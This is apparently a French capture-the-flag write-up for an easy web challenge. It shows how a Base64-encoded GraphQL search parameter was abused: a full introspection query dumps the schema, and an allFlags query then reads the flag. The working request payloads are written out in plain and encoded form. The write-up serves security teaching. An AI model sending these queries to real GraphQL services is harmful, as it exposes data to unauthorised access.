Description
- Auteur: haxom
- Difficulté : ⭐ épreuves faciles
Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !
Solution
Lorsque l’on soumet le formulaire “Search one chef by firstname”, le paramètre search
avec sa valeur encodé en Base64
est envoyé dans une requête GET
.
GET /index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIlYSUifX0pIHsgbm9kZXMgeyBmaXJzdG5hbWUsIGxhc3RuYW1lLCBzcGVjaWFsaXR5LCBwcmljZSB9fX0=
Voici ce qu’on obtiens après avoir décodé la valeur de search
.
{ allCooks (filter: { firstname: {like: "%a%"}})
{
nodes { firstname, lastname, speciality, price }
}
}
Il s’agit de la requête GraphQL qui permet de récupérer la liste des chefs.
🔎 GraphQL Introspection
Je teste une Introspection en envoyant la requête GraphQL ci-dessous (encodée en Base64
) comme valeur du parametre Search
.
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
// Base64 encode
e19fc2NoZW1he3F1ZXJ5VHlwZXtuYW1lfW11dGF0aW9uVHlwZXtuYW1lfXN1YnNjcmlwdGlvblR5cGV7bmFtZX10eXBlc3suLi5GdWxsVHlwZX1kaXJlY3RpdmVze25hbWUgZGVzY3JpcHRpb24gbG9jYXRpb25zIGFyZ3N7Li4uSW5wdXRWYWx1ZX19fX1mcmFnbWVudCBGdWxsVHlwZSBvbiBfX1R5cGV7a2luZCBuYW1lIGRlc2NyaXB0aW9uIGZpZWxkcyhpbmNsdWRlRGVwcmVjYXRlZDp0cnVlKXtuYW1lIGRlc2NyaXB0aW9uIGFyZ3N7Li4uSW5wdXRWYWx1ZX10eXBley4uLlR5cGVSZWZ9aXNEZXByZWNhdGVkIGRlcHJlY2F0aW9uUmVhc29ufWlucHV0RmllbGRzey4uLklucHV0VmFsdWV9aW50ZXJmYWNlc3suLi5UeXBlUmVmfWVudW1WYWx1ZXMoaW5jbHVkZURlcHJlY2F0ZWQ6dHJ1ZSl7bmFtZSBkZXNjcmlwdGlvbiBpc0RlcHJlY2F0ZWQgZGVwcmVjYXRpb25SZWFzb259cG9zc2libGVUeXBlc3suLi5UeXBlUmVmfX1mcmFnbWVudCBJbnB1dFZhbHVlIG9uIF9fSW5wdXRWYWx1ZXtuYW1lIGRlc2NyaXB0aW9uIHR5cGV7Li4uVHlwZVJlZn1kZWZhdWx0VmFsdWV9ZnJhZ21lbnQgVHlwZVJlZiBvbiBfX1R5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWUgb2ZUeXBle2tpbmQgbmFtZSBvZlR5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWUgb2ZUeXBle2tpbmQgbmFtZSBvZlR5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWV9fX19fX19fQo=
// GET /search=e19fc2NoZW1he3[...]V9fX19fX19fQo=
Cela nous retourne l’intégralité du schéma GraphQL. J’utilise l’outil GraphQL Voyager pour avoir une représentation graphique du schéma.
🚩 Lecture du Flag
Dans Query
(Liste des requêtes GraphQl définies), on peut voir la requete allFlags qui retourne l’objet Flag. Je prepare ma requete GraphQL, j’encode en base64 et j’envoie.
{ allFlags { nodes { id, flag } } }
# Base64: eyBhbGxGbGFncyB7IG5vZGVzIHsgaWQsIGZsYWcgfSB9IH0=
# GET /?search=eyBhbGxGbGFncyB7IG5vZGVzIHsgaWQsIGZsYWcgfSB9IH0=